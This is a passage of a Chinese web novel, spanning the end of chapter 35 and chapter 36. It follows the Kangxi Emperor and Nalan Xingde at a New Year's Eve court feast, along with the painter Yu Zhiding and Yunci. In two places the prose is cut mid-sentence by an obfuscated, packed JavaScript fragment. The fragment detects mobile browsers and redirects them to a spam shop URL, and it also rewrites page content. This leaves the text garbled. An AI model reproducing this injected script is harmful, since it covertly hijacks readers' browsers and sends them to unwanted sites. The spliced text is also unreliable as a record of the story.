——皇上,哪怕您这般对臣妻好,只是做给纳兰公子看的,臣妾也会全部当真,当作您真的爱宠臣妾。 ——皇上,臣妾永远在您身后。您在国宴、家宴、贺场、祭祀上做不到的“平易近人”和“蹈矩谨行”,就让臣妾来弥补吧! 回坤宁宫的路上。 赫舍里神情如常,她不能让任何一个人看出来在太和殿内发生过什么事,更不能把皇上对选秀之事的“新态度”和“新立场”的声张出去。 “皇后娘娘。”赫舍里身边明眼的掌事宫女问,“皇上这般离不开……真的无妨吗?” 赫舍里亦是不想提“纳兰公子”四个字,只深明大义道:“国事比家事重要,本宫应当成全皇上。” * 走在前往书房的路上。 玄烨莫名其妙地对顾问行道:“吩咐下去,叫如意馆的画师们好好给朕做准备,画出一幅朕接见蒙古王公亲贵的长幅画卷来。” “回万岁爷,禹画师不画自己没有亲眼见识过的大场面。” “如意馆的画师又不是只有他禹之鼎一个人,别的人就画不出来了吗?” “要说到画人物和大场面,还得是禹画师居首。” “君有令,臣就不得不从!”玄烨像是发泄一般,“你现在就去如意馆,把自己今天见识到场面,都给朕往好处往漂亮处去给禹之鼎说。” “奴才多嘴先请一句万岁爷的意思,要是禹画师就是不肯画,该如何是好?” 玄烨赌气道:“禹之鼎敢抗朕命,朕就叫纳兰写出五十行的诗歌来高赞朕今日的功德,让他照着纳兰的诗来画十幅长轴画。” 纳兰叹笑道:“皇上,臣不想让这样不实的诗作传世,相信禹画师也不想让那样强求的画作典藏宫中。” “难道今天,朕在蒙古王面前的憋屈就这么算了吗?” “皇上别想已经过去的事情,向前看,等到兵马一事调查清楚,自然能叫人看到皇上的年少不可欺。” “理藩院至今都没来个人给朕做个交待,朕真恨不得在明日百官年贺之时,废了理藩院的三大长官!” “臣斗胆,如果皇上真的有想废了理藩院三大长官的意思,那臣的阿玛明珠可以立刻兼任,给皇上给大清一个崭新的睦邻友好气象。” “纳兰,你这是当着朕的面给明珠要官啊?” “皇上知道臣不是这种谄君邀禄之人。阿玛明珠,精通满蒙汉三语,阅读、辨析、处理蒙疆藏三地上报的要务没有阻碍;涉猎边境外务,风险和危难并存,非一般官僚可以做中轴斡旋,需有资历有头脑的高官才能镇的住风气和人心;蒙疆藏三域,习俗与风情多样,阿玛明珠海纳百川,平日里未曾拒绝登门拜访的藏医、术师、能人……故而对三域百姓的诉求看的更透彻。” “是朕误会了呀!原来明珠的心思是用在那些方面。” 玄烨长长地舒出一口气,“朕还以为他跟理藩院勾结在一起,欺上瞒下,想凭借预知情报的先机来动摇朕的国本。” “阿玛要是有这种想法,臣早就拦下他了,何况阿玛从未动过那些坏心思。” “解开了误会就好。”玄烨对纳兰露出一个愧疚的表情,“原本朕一大早叫你进宫,就是想在治明珠的罪之前,先一步将你治罪的。” “臣要是怕皇上冲动无情,就不会来了。”纳兰伸手去接天上的飞琼,“今天的雪也不小啊。” “冷吗?累吗?” “臣跟皇上与共。”纳兰这般传达自己的心情,“现在是,以后也是。” * 且不说索额图收到“兵马来城”和“理藩院迟迟不报”这两大消息的反应: 一边拿出纸笔来,洋洋洒洒地预写下了一篇《述己无辜书》,好应对天子的疑心;另一边在心里大骂:明珠你还有什么脸面进宫去赴宴?天子怪罪下来,你一样逃不了。 就说皇宫里面, 纳兰一家子终于坐到了同一张桌子上团圆了。 明珠感慨道:“虽不是外头露天的席位,但是宫内,我们一家跟真正的爱新觉罗一家还是有别啊!” “有别才好。”容若笑道,“儿喜欢现在一家子的氛围。” “儿啊。”觉罗氏舀了一勺牛肚菌芥蓝到容若碗中,“今日纳兰一家进宫进的早,内务府总管噶禄特地前来拜谢你阿玛当日的救命之恩,所以咱们这张桌子才能吃到这些御膳房特制的素菜。” “谢阿玛,谢额娘。”说完,容若笑问两位小弟弟,“揆叙,揆方,你俩想吃什么?长兄帮你俩夹。” “想吃烤鹿肉。” “来——”容若把好事成双的两片鹿肉夹到揆叙碗中。 “鹤鸣九皋,声闻于天;鹿鸣九皋,声传于野。阿玛官服上的仙鹤和今日桌上的鹿肉寓意都极好。” 容若执杯敬明珠:“儿祝阿玛身边多聚贤才,品德高尚之人亦能多到阿玛身边,共为大清效能及之力、尽己善之能。” 父子对饮罢,容若对弟弟道:“揆叙,长兄祝你鹿出高山,博学多识。” “谢容若哥哥。”揆叙高兴地收下了祝福。 “想吃溏心鲍。” “来——”容若把一只半掌大的鲍鱼舀进揆方碗中。 “鲍鱼似元宝,愿纳兰家家势永葆:所得皆无价之宝,而非尽是金银财宝;所求皆是如获至宝,而非尽是表面珠宝;所为皆是自身可保,而非落入朝夕不保。” 明珠赞道:“容若,你说的好!” “揆方,长兄祝你:凡事有余力,万境有余地。心到福到,付出有报。” 揆方意会出了长兄的意思,巧思道:“普通百姓家年年有鱼(有余),皇家公卿家年年鲍鱼(爆余),容若哥哥你说是不是?” 容若点头,暖道:“揆方,你伸出手来,长兄给你写两个字。” 等容若写完,揆方对明珠和觉罗氏道:“容若哥哥写的是:抱余。怀抱的抱,余暇的余。” “阿玛,额娘,所谓:积善之家必有余庆。”容若起了第二杯酒,“儿希望纳兰家:知足而立、正慎而兴、渊源而长。” 揆叙眨着眼睛,问:“皇宫里是不是有烟火看?” “雪停了的话,肯定有。”容若笑道,“但是长兄想不明白,为什么冰嬉节目上的燃放炮仗比跨年夜的烟火更隆重、更盛大。” “儿啊,你真不知道吗?”明珠觉得奇怪,“这冰嬉可是跟学习满汉双语、练习骑射功夫所并列的八旗子弟的三大日常教养活动之一啊!” “儿又没机会出现在冰嬉的观望营中,只能听闻别人提起,所以才不解。”容若心中小失落,脸上却是带着乐观,笑问明珠,“儿可是个不合格的八旗子弟?” “人各有所长,无需去想那个对己无益的问题。阿玛觉得你是个全才,大抵是除了医学之外,无一不通。” “知子莫若父。” “看冰嬉表演有什么意思?容若哥哥我们明天去投通宝【注1】。” “是啊,听说宫里有有一个石铸的灵龟,只要把通宝投入龟口中,就能所求如愿。我们要容若哥哥和纳兰一家都顺顺利利。” “好。”容若看着揆叙和揆方,“不过,明早长兄要陪在皇上身后,可能说不准跟你俩一起去求福许愿的时间。不如,吃完这顿饭就去,如何?” “好。”两个小家伙举手相应。 “阿玛和额娘也一起吗?” “一起。” 明珠和觉罗氏的回答让容若欣喜。 这种久违的一家子一起做一件事的场景,可真好,真好啊……光是想想,就好像诸愿都已经实现了一般。 他,悦饮下了第三杯酒。 * 如意馆中。 年轻画师禹之鼎对着一幅空白长卷发呆,迟迟落不下去笔。 即便是身边有云辞格格陪伴,脑中对皇上要求自己画的东西有了大致的概念,手中之笔,也不知该如何驾驭。 此前,顾问行顾公公仔仔细细把“万岁爷接见蒙古王公贵族”的事情描述了半晌,还特别叮嘱: “禹画师,咱们万岁爷的脾气你还不了解吗?动起真格来别说让纳兰公子写五十行、一百行诗,就是叫你画上数十张别的、你没亲眼见过的大场子的长卷画也是有的。你可千万把眼前这份差事领好了!” 禹之鼎应了声“好”,又问:“顾总管,上回我献给皇上的《韵彩万花琉璃图》,皇上看后是什么反应?” 顾问行道:“你自然是不能指望万岁爷对你那幅画多点评什么,但是纳兰公子仔细看过了,他说你画的好,构图和光影相较于之前的作品都有了一个大飞跃,下的功夫深。这不就够了吗?” “是够了。”禹之鼎自语,“等以后,我就给纳兰公子画小像,只谢他不谢皇上。” “这话奴才听了就好。”顾问行比出了一个慎言的手势,“禹画师你可别再说第二遍。” “皇上叫我画什么我就画什么,我还算是个有骨气的人吗?” “禹画师,你的画可是要藏进宫里的最高宝阁的名品,大清历代皇帝,无论是在天上的还是在当世的,想必看过后都大赞气派!可不要为了一时的骨气,而把前途丢了。” 云辞站在桌案边,把画笔重新放到禹之鼎手中。 “你画些草稿也是好的,最起码得先让顾总管有个能给皇上交差的东西。不然你这样被风骨所困,没准会连累整个如意馆。” “皇上太自以为是了,这样要挟我、要挟纳兰,作画的和写词的就不能有自己的选择了吗?他是皇上,想怎么样就怎么样?” “我陪你。” 云辞只回应了这三个字。 作为女子,云辞知道:一味相劝和鼓励是没用的,禹之鼎需要的是作画的实感和心情,而不是“完成任务”四个字。 有时候,说的越多反而越坏事,还不如安静相伴。 一个人安静了,另一个人才能安静。 作画,非心静神到而不能出佳作;成图,非去杂念存本念而不能精布纸上之大局;成品,非物我合一、纸墨相融而不能让画心画魂无悔。 云辞看着卷轴上渐渐被勾勒出来的《康熙皇帝接见蒙古王公图》雏形,心中有所期待。 这份期待感,并非是源自禹之鼎终于融入了作品的打稿之中,而是那种自己陪伴在他身边、就能给他力量给他后劲的真切之情。 只是想成为禹画师的每一幅传世画作的见证者,个中的风风雨雨和同舟之行,是何等珍贵?何等值得回味? 只是喜欢禹画师,把他的每一份心情、每一笔墨痕、每一声感受都看在眼里、记在心里,待到回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445053|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味之时,再告诉自己:从第一眼相见时,彼此就已经注定了这份缘,但求终成就,不为时局累。 卷似轻海,墨如过舟。 乘驭之间,烟云瞅透。 “禹画师你看,你这黑线白底的初稿所描绘出来的,不正是顾总管说的场面吗?有这个大框架打底,往后再往细节处着手,佳作可成。” “云辞,我真的宁愿不去打听:今日皇上在太和殿和蒙古王之间究竟发生过什么冲突。否则,皇上也不会叫我来以画显君威,叫纳兰去以诗陈君绩。” “不知道比知道好。”云辞把毛笔放到了笔架上,“你就只当皇上心中有傲气,即便是有所赌气,也要意气风发地彰显自己的气度与大略就好。” 禹之鼎把壶中水注入笔洗中,“作为帝王,这样的心气是不可缺的吗?” 云辞挪动了墨盘的位置,“对,作为皇帝,输什么也不能输——勒令臣前的架子和睥睨天下的大志气。” * 云禹两人来到了如意馆外的小树林。 唯有“静谧”的共感。 “云辞,你不回家吗?这个团圆的日子,你不怕爹爹和娘亲担心?” “阿玛一‘醉’,怕是又要在众宗亲面前大说自己多么想择纳兰性德为婿,族人只把我‘不嫁纳兰’四字当作是反话来看。那些话,那些目光,真叫一个累人和腻人。” “平日里,你爹爹就不提了吗?” “平日里提的少,大宴上面提的多,这是阿玛扩散风声的策略。我挡不住阿玛的嘴,只能由的阿玛说。” 禹之鼎神色认真,“要是……我现在就跑去瓜尔佳府邸向朴尔普大人表明自己要娶你的决心,会怎么样?” 云辞忍不住笑了,“大概会被乱棍打的只剩下一口真气吧?哪有人在跨年夜里给你叫太医的?” “怎么我禹之鼎就娶不得官云辞?”他脸带坚韧和不屈,“满清的通婚规矩太不合道理了!” 北风呼啸,云辞一手按住头上的双羽小礼帽,“反正我们的名字都要被记入史册,好坏也无所谓对不对?” “对!”禹之鼎拿出了男子特有的勇气,“即便是一起私奔,做出一件‘将来就在西洋过活一辈子’的惊天大事来,我也绝不后悔!” * 深夜。瓜尔佳府邸。 云辞被四个家丁拦在了大门外。 “格格,奴才等领朴尔普大人的命令,让你今晚在府外思过。” “我回来晚了就该受这种闭门羹吗?”云辞不认,“让开!” “奴才等惟朴尔普大人的命是从。” 四个体格健硕的家丁,像一堵墙似的立在云辞面前。 “我在外头思过进不得家门的事情传出去,丢的是全家人的颜面!” “住口!”朴尔普从里面走了出来,“你还好意思说颜面?” 夫人章佳氏虽是心疼女儿,但也站在家规的立场上道:“云辞,今天是除夕,合家团圆的日子,你竟然不回家吃饭,叫阿玛和额娘的脸面往哪儿搁?” “如果我说我跟纳兰公子独处了一夜,”云辞冷笑,“阿玛和额娘怕是会喜不自禁,马上迎我回家吧?” “别以为阿玛不知道,纳兰一家今晚在皇宫里面赴家宴,你跟本不可能跟大公子独处。” “那女儿也不瞒着了,女儿今晚是在如意馆陪画师禹之鼎一起过的。” “拿家法来!”朴尔普对着身后的管家一声怒吼。 “老爷,不能打云辞,否则传到纳兰一家子耳中,你教女无方的骂名岂不是坐实了?人家还怎么放心把儿子给你当女婿?”章佳氏尽力阻止,“何况云辞是我的独生女,我也舍不得你打她。” “皇上要禹画师画《康熙皇帝接见蒙古王公图》,女儿今晚就是陪在他身边一同为画。” “蒙古王下午就率领亲贵和大臣们回去了,想必一定是在太和殿内与皇上有所冲突。皇上要禹之鼎作画,无非宣泄心中的愤怒,他要是画错一笔一线,脑袋就没了,你还敢参合到画里?” “阿玛你就当作女儿糊涂,女儿不怕家法!” “去拿鞭子!”朴尔普气的脸色发青。 管家才转身,就被章佳氏给叫住了,“拿什么鞭子,还嫌不够乱?” 章佳氏走到女儿面前,好声劝道:“云辞,给你阿玛认错。” “女儿没错。” “你——”朴尔普指着云辞训道,“穿洋装、会汉人、夜迟归,你哪里有点八旗格格的样子?真是不孝!” “女儿要是不孝,早在皇上疑堂伯父鳌拜的时候,就不争不辩直接说随皇上的意思去办;女儿要是不孝,今晚就宿在如意馆,看看阿玛额娘有什么话说;女儿要是不孝,就不会在阿玛处处声张只有纳兰公子配娶云辞的时候,一言不发,只顾着阿玛的颜面忍耐……” 朴尔普听罢,背着手站在妻儿面前许久。 才最终对章佳氏道出一句:“不用管云辞,由得她站在外头!” 白雪飞舞,寒意刺骨。 云辞独立,内心清促。 她忽然就想起了禹之鼎说的那些话了: “论官阶,我没资格赴宫宴。论朋友,我不能去蹭饭打搅别人家团圆。还不如跟往年、跟每年一样,独自在如意馆跨年。” “睡醒后,天就亮了;天亮了,新的一年也就来了;新的一年来了,就可以许各种大的小的、可以实现的只是空想的愿望了。” “所以云辞,我一个人惯了,你快回家去吧!” 云辞只觉得心酸。 不是心酸自己的处境,而是心酸禹之鼎的孤单、以及他将千万思绪化作“习惯”的份份无奈。 ——的确是可笑,两处相思,只叫一轮明月和一袭风雪做了看客。 ——如意馆中人,官氏门外女,一晌欢的温存,都要以作苦换离合。 【注1】通宝:一种货币,似铜钱。 36.第36章 玄烨终于从盛大的家宴之中抽身。 整个场子下来,除了吃佳肴和看戏之外,没有任何值得提起之处。 顾问行在前边领路道:“万岁爷,照着规矩,您吃罢家宴之后,就要去养心殿准备‘岁末把笔’之事了。” “你要是再敢跟朕提‘规矩’,朕明日就打发了你去敬事房做领事大太监,不必在朕跟前伺候了!” “万岁爷,今儿是跨年的日子,奴才就算是不要脑袋了,也要把各个事项都向您交待明白了。一会儿您到了养心殿,就坐在主位上凝神细思‘岁末把笔’的内容,子时一到,您就提笔一气呵成——” “朕还把纳兰拟写的把笔贺词带在身上呢!”玄烨诡秘一笑,“纳兰现在是不是在养心殿候着朕?” “奴才听徒弟说,明珠大人一家子往‘石铸灵龟’那边去了,应该是行‘向龟的嘴巴抛通宝’的吉祥事呢。” “朕怎么没收到这项行事的安排?” “这个……”顾问行苦笑,“不在天子的除夕行事范围内。” “去——”玄烨吩咐,“叫你的徒弟准备好通宝,朕也要去抛。” “万岁爷,这不合……” 顾问行刚要说出“规矩”二字,就轻打了自己一嘴巴,改口道:“奴才马上去办。” * 那只“石铸灵龟”,体型庞大,坐镇在一方池中。 虽是在夜间,但在无数宫灯和年灯的映照下,也能够让人看清那“灵龟”高扬的脖子和张开的嘴巴。 ——吸财吐瑞,万事顺遂。 这八个字,是对来此处求个“好意头”和“好心情”的人的盼头的最佳概括。 玄烨渐渐走近,看见纳兰的身影时,他隔着一段距离止住了脚步,并叫跟随的宫女和太监都退下,只留顾问行一人在身后跟着。 “朕只觉得纳兰那副虔诚的身姿格外不同。” “那是自然,纳兰公子不但是满清第一大才子,更是满清第一大美男子,格外注重仪态修养也是有的。” 赞完纳兰公子,顾问行不忘夸皇上:“但是在奴才看来,大清第一威仪之人,还是万岁爷您!” “今日一整日下来,纳兰在朕身侧,那种不一样的气度,没有与朕争辉。” “您是皇上,他是侧臣,侧臣哪能跟皇上争辉?” “罢了,朕……” 朕偶尔拿自己跟纳兰相比的时候,会觉得自卑。 咬死了口,都不能说出来;锁进了心,都不能被发现……的自卑。 纷纷的落雪之中,玄烨静静地观察: 纳兰双手合十,微合着眼睛,心中似在诉说着什么。 他的家人没在身边,应是在周围小逛,偏偏就他一人站着,好似占了整个池区的风景。 芳菲灵气,随风而来,正是他亲手研制的名香一品,福包挂在腰间自华; 映月融冷,掠光而亮,正是他常随在身的白玉一璧,名佩共主清新自然。 衣袖翻折稍滑,露出手腕间的一串细菩提,朴素真挚胜风月无边,尔雅公子自翩翩;一笑一温,一念一嗔,一梦一实,一词一愿,不怪他美玉如雕,独落中央。 玄烨想到了“纯粹”二字。 这二字特别适合用在纳兰身上:像是公子的品格,与公子相交者无人不高赞;像是公子器量,与公子同行者无人不钦佩;像是公子的内心,与公子至交者无人不说冰清玉洁。 只是,越是知道纳兰是个美好的存在,玄烨就越是想要当一个征服者和剖析者。 因为有期待,所以才会对纳兰不舍。 因为究细节,所以才会对纳兰看重。 因为带情感,所以才会对纳兰执着。 * 玄烨悄悄来到纳兰身后,凑近他耳旁,用似君似友的口吻问了一句:“纳兰,你在许愿?” ——跟朕预想的不一样。 ——面对朕的忽然出现,纳兰这家伙竟然毫不惊讶。 玄烨想吓纳兰一跳的心思落了空。 纳兰回头,跟平常一样,温润似玉、叫人无挑,笑问:“皇上想知道?” 玄烨摇头。 “愿望说出来就不灵了,哪有你这么直白的?” 纳兰沿着池子的围栏走了几步,就跟是在老地方碰见了老朋友一样,没对玄烨称臣。 “我以为,是皇上想知道我什么时候去养心殿。” “你什么时候去都可以,不必请示任何人,包括朕。” “养心殿外零落的菩提子,我也可以随心捡、不请示皇上吗?” 玄烨笑了笑,这不算是得寸进尺。 倒,像是率性天然、想实现愿望一般。 “你没事捡菩提子干什么?” “爱好。” “你的爱好不是写词和在渌水亭跟朋友联诗吗?” “收集、盘玩、珍藏菩提子,也算。” “行,朕准你。” “谢皇上。” “朕这一声同意,就这么值得你高兴?平时朕对你各种施恩和开恩,也不见你露出这种表情。” 纳兰不应玄烨,走回了“石铸灵龟”的正对面,从身上拿出了准备投掷的通宝。 玄烨也从顾问行手中拿到了一串通宝,打算跟纳兰一较高低,看谁投中的通宝数量多。 这时候,明珠和觉罗氏才带着揆叙揆方绕了池子一圈,回到原点。 一看见玄烨大驾至此,明珠赶紧带着家人向天子行礼道:“臣明珠一家不知皇上到来,实在惶恐。皇上新年吉祥,万岁万岁万万岁。” “免礼。”玄烨对明珠一家态度很好,“都起来吧!朕没叫纳兰见君臣之礼,你们也不必太郑重。” “顾总管,把朕的大氅给纳兰披上。” 说着,玄烨解下了自己的御寒衣物。 “皇上,这样一来,我投掷通宝不方便。” 所以冷我也要忍着。纳兰直言道。 ——容若不在天子面前称“臣”,不立刻谢了天子隆恩。 ——莫非是被冻糊涂了?在这个节骨眼上。 明珠大惊,又一下子跪下了,就跟是挽回爱子的“错误”似的,大声道:“臣与容若,一同叩谢皇恩。” “纳兰公子,”顾问行征询答复,“咱们万岁爷的恩典,你是这会儿就领了?还是让奴才先暂时拿着?” “有劳顾总管,容若跟皇上比赛过后再披。” “容若!”明珠叫了一声。 意思是:现在四周是没有别的人,但是你记清楚了,跟皇上比赛可以,控制好局势,别赢了皇上。 “请皇上先抛。” 纳兰和玄烨并排站在池子中央的“石铸灵龟”上站台上。 明珠一家站在二人的侧边,顾问行一手拿着大氅、另一手拿着佛尘站在皇上右侧后方。 “跟朕一同抛。” “臣正有此意。” “不许你说臣,此地的臣只有明珠!” 觉罗氏半张着嘴看容若和明珠,一时失了言语,揆叙和揆方倒是快快乐乐地笑了。明珠就跟是一座石雕像似的,只剩下眼睛在动,只求容若千万别真的把皇上赢了去。 两枚通宝像两道抛物线,承载着纳兰至真至深的合家平安之愿和玄烨自傲自信的千古一帝野望,一起落入了“石铸灵龟”的口中。 二人相视一笑。 “你就是为纳兰家在许愿,从头到现在都是如此,别以为朕不知道。” “皇上是突然而发地为自己抱负求成,我也猜的出来。” “你连朕的心思都敢猜测!不知道历代皇帝都忌讳这个吗?” “这样——”纳兰脸上带着澄澈的笑容,“接下来我的心思,不管皇上是否猜对,我都当作皇上是对的。反之,皇上的心思不管是我猜的对或错,都要大方承认。” “别说朝纲,整个大清怕也就只有你纳兰性德敢这么跟朕说话!” 觉罗氏在明珠耳边问:“咱们儿子在宫里,是这么跟皇上相处的吗?妾身怎么觉得一点都不像平日里的容若啊?” 明珠不顾一身冷汗,只应道:“夫人啊,现在有皇上吗?有陪臣吗?没有!只有玄烨跟纳兰容若。” 觉罗氏若有所思,“这……” 明珠小叹,“夫人你别看玄烨表现的像皇上,其实他现在真没把自己当皇上。至于咱们儿子,我,我已经不知道该说容若什么好了。” * 接下来的三次投抛通宝,纳兰和玄烨都是双抛双中。 玄烨想知道:纳兰有没有为自己许下愿望,比如说自己这个皇帝可以不予余力地成全他的愿望。 纳兰想知道:皇上所许的愿望,有没有哪个不是临时想出来的,而是认认真真考虑过的、想要脚踏实地去实现的。 “皇上,平局了。” “继续——” “剩下六枚通宝,我要留着跟揆叙和揆方一起投。”纳兰招手叫弟弟们过来,“我答应了他俩,不能言而无信。” “你才投了四枚,要你继续是朕的命令!” “四枚全中,很好呀。”纳兰乐观道,“明年纳兰性德四季平安,如愿。” “好,朕说不过你。”玄烨做了罢,“那朕现在就去养心殿,你等陪了家人过后再来” “是。” 玄烨一把从顾问行手中拿过那件大氅,披在纳兰身上,留下了一句:“朕是为你好” “谢皇上。” 等到玄烨和顾总管都走了,明珠总算是松了一口气。 觉罗氏一边拿出手帕来给明珠的额头擦汗,一边问容若:“儿啊,皇上怎么来了?” 容若道:“不知道,但是尽兴。” “幸好是你懂得适可而止。”明珠带着些欣慰,“不然十局下来,你是想赢皇上还是故意输给皇上啊?” “不能输、不能赢,甚至连打成平手都遭疑,那儿就唯有将‘失误’当作是‘粗心’来用了,至少可以符合阿玛的期待吧?” “你以为阿玛期待你输?” “不是。跨年之际,输掉不好。” “那你觉得怎么样才好?” “一场对弈,游离在胜负和平局之外的,不就是半途而退吗?退的成全皇帝,退的周全自己,这就够了。” “好,你能够有这种心态阿玛就放心了。”明珠指向养心殿放向,“快去皇上那里吧!” “阿玛忘了?儿还没跟揆叙和揆方一起投通宝呢,他俩等着盼着。” 说着,容若就走向了弟弟们身边。 * 养心殿。 在纳兰未到之前,发生了这么一件事。 鳌拜不请自来,先一步到达殿中,坐在次座的位置,俨然是大清国的第二天子一般,浑身散发出刚毅而强势的气场。 “臣听闻皇上身边的一等侍卫图尔深谎报敌情,说是:驻扎在城下的蒙古兵马是服从鳌拜调遣的。所以臣为了不让皇上被小人所迷惑,已将图尔深砍头处死!” 玄烨大惊,鳌拜要在除夕之夜杀人,杀的还不是普通人,竟然随心所欲、不用请示自己这个皇帝的意思。 鳌拜不但掌握朝政大权,还掌握生杀大权,这么下去还了得? 玄烨克制着不满,隐忍道:“鳌拜大人是为朕‘分忧’了啊!” “臣受命于先帝,尽心尽责辅政,自然要将皇帝身边的口舌之辈清除干净。不然皇上落下昏君之名、我鳌拜背负反贼骂名,岂非两冤?” “鳌拜大人既然说那支蒙古兵马与己无关,那么那支兵马是谁所主使?现在去向如何?” “哼!臣一概不知。”鳌拜面带愤怒,“皇上要查就尽管去查,臣可以对天发誓,没有勾结过蒙古。” “鳌拜大人勿躁,不经时日,蒙古兵马之事自然会水落石出。当时候朕再一并处置犯事嫁祸、挑衅关系之人。” “皇上有此本事就好。”鳌拜不屑,“不要夸口出去,却查无所得。” 玄烨心中,那种自己被人小看了的情绪,已经是按耐到了极点。 要不是为了控制事态和养心殿的安宁,他恨不得:狠狠指责鳌拜的不敬和目中无君,然后叫人来把鳌拜拿下! 只可惜,此刻自己身边无人啊。 鳌拜显摆过这一场威风之后,就大步而去。 路上看见纳兰,他就对纳兰说了一句:“大公子可千万撑住了,这宿一夜不眠,明日一日无歇,身子骨说到底是自己的,少消遣在少年天子的意气用事上。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457869|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纳兰应道:“多谢鳌拜大人提醒,纳兰性德谨记在心。” * 纳兰进入养心殿后,见皇上没提鳌拜去过之事,就不多问。 玄烨觉得:自己跟纳兰在一起时,心里就会特别踏实。这种的君臣关系好似已经超越普通的天子与奴才的关系,而是一种可以打开心扉来说话的朋友之情。 “请皇上起稿,臣在皇上身边看着。” “你看朕朕写不出来。” “臣看的是节庆纸张上的皇上笔墨,只校对是否有错字、检查是否语句不通、辨别是否表述妥当。” “一到养心殿,你我又变成了君臣。纳兰,朕宁愿多听你用‘我’字来自称。” “皇上起稿吧!子时也快到了,臣鉴稿也要时间。” 玄烨为了试探纳兰的反应,故意从袖中把纳兰之前拟写的“岁末把笔”的内容的张纸拿了出来。 纳兰只顾研墨,没发表一句意见。 玄烨不甘心纳兰无动于衷,就提笔对照着“纳兰之贺词”【注1】完完整整地写了一遍,还时不时地发出了几句笑声。 写完,玄烨交叉着双手,看着身边之人,终于忍不住问了一句:“你不是最看不惯贪天之功吗,怎么不制止朕?” 纳兰放下墨条,从玄烨面前拿过那张成品的把笔之词,谦和而不失礼道: “皇上的亲笔,臣留着,当作是御赐的最高祝福。臣看着皇上再写一份,写皇上真正要对天下万民和广大朝臣们说的内容。” 玄烨哑口无言。 好,好你这个纳兰性德,叫朕别无选择! 纳兰细致地欣赏玄烨的亲笔文字,感慨道:“皇上把臣拟写的内容一字不错地复刻了一遍,臣心中存着高兴与感动,这就够了。” 玄烨觉得自己好似站在悬崖边上。 这个纳兰性德,连“劝君回心转意”的方式都跟别人不一样。 朕要是不听他的,就是失信于天下百姓、失信于文武百官,还算什么英明的康熙皇帝? 一纸岁末把笔,一场君臣博弈。 到了今时今日,收场方式绝妙。 “朕、重、新、写。” 玄烨一字一句道。 “……皇上你看这里,‘丰年开瑞’改成‘丰年为瑞’更妥当,开是动作,为是状态,状态就是拿出事实说话,能叫人信服;‘四海安乐’这个说法不够大气,换成‘盛世同禧’更能彰显天威;还有,‘共享天运’收尾比较仓促,再多添一句‘万途皆明’更能让臣民们感受到普天同乐之喜。” 玄烨把纳兰的分析都听进了心。 同时,玄烨还留意到: 纳兰是个很雅致的人,他从未用单根手指去指纸张上的字句,而是倾斜着右手手掌半悬空在笔迹上、来提示皇上哪里要斟酌。 ——纳兰你呀,真是个过于懂得对方感受的家伙。 玄烨会心一笑。 “臣是跟皇上一起磨合,皇上不要觉得遣词造句麻烦。是,就算皇上说的是,臣就只在写文章上面比别人强了些,臣也盼着皇上能写出一份对得起自己的大志和抱负的贺岁之词来。” “皇上别这么想,作为天子,为民之心尽到、为社稷之力用到、为家事之身正到,那么民间、朝野、后宫,没人会把皇上的贺岁之词当作泛泛而谈的空论、自以为是的漂亮话。” 照着纳兰的建议三改“把笔词稿”,玄烨对这位“满清第一大才子”十分佩服: 试问满朝上下,还有谁能如此耐心、细致、言之有理地对待朕?原来,朕缺的不是有才华的大臣,而是愿意无私对朕的朋友。 纳兰并不是只有这些优点,但是当这些优点成为鞭策朕、激励朕竭尽全力去做一件事时,他存在的意义就格外不同。 “纳兰,朕在‘石铸灵龟’面前只许了一个实际愿望:要让大清江山在朕的接管中变个模样。” “臣追随皇上,一起站在高处,览觅山河,踩顶乾坤。” “拭目以待吧!”玄烨胸有成竹,“朕会用自己大愿来成就你的小愿,你我一起,做一对流芳千古的圣君贤臣。” * 随着空中打响五声礼炮,养心殿的正门被打开。 司礼大太监领着两名职位不低的管事太监进来,对玄烨毕恭毕敬道:“时辰到,恭请皇上岁末把笔——” 紧接着,两名管事太监便将一卷红纸铺陈在案桌之上,稍撒金粉,摆上新带来的毛笔和已经研过墨的砚台,又将镇纸压好方位之后,才分别退到两边,齐声道:“笔墨纸砚备至,除旧迎新福至!” 司礼大太监对外三甩九威拂尘,高声道: “辞旧岁,迎今朝;万象新,江山清。” “皇上开笔——” 玄烨正襟危坐,将早已跟纳兰商议好的“新年贺词”一挥而就。 待到墨迹稍干,那两个管事太监就一并上前,一左一右拿起皇上的墨宝走出了养心殿外。 玄烨只见: 在养心殿外某处吉祥的位置,司礼大太监对着“新年贺词”高声诵读。然后,就有别的人将“岁末把笔”的卷轴带走了,估计是拿去何处陈列或是拿去给太皇太后过目。 “朕觉得自己松了一口气。”玄烨靠在椅子背上,“从早到晚,一天到这里终于结束了。” 少年天子合上了眼睛,倦道:“纳兰,顾总管,你们什么都不用说了,朕困的很,就这么眯睡一会儿……马上还要去皇后那里,朕答应了赫舍里。” * “早些叫醒皇上,皇后还在坤宁宫等着。” “鳌拜之事,理藩院之事,皇上要是动了气,你要想法子先劝着,别让皇上在大年初一带着情绪在太和殿接受群臣的朝贺。” 纳兰叮嘱了顾总管几句话之后,就到养心殿的侧阁去打盹了。 ——今年跨年不是一个人,是跟皇上在一起。【注2】 纳兰很想告诉玄烨:“唔,我高兴的很,就是高兴的很。” 只是现在……真的累了、困了、冷了。 否则,跟皇上一起畅聊到天明、让一份难得的高兴延续的久一点,该多好! 【注1】纳兰拟写的具体内容,见第22章 【注2】纳兰独自跨年,见第20掌 37.第37章 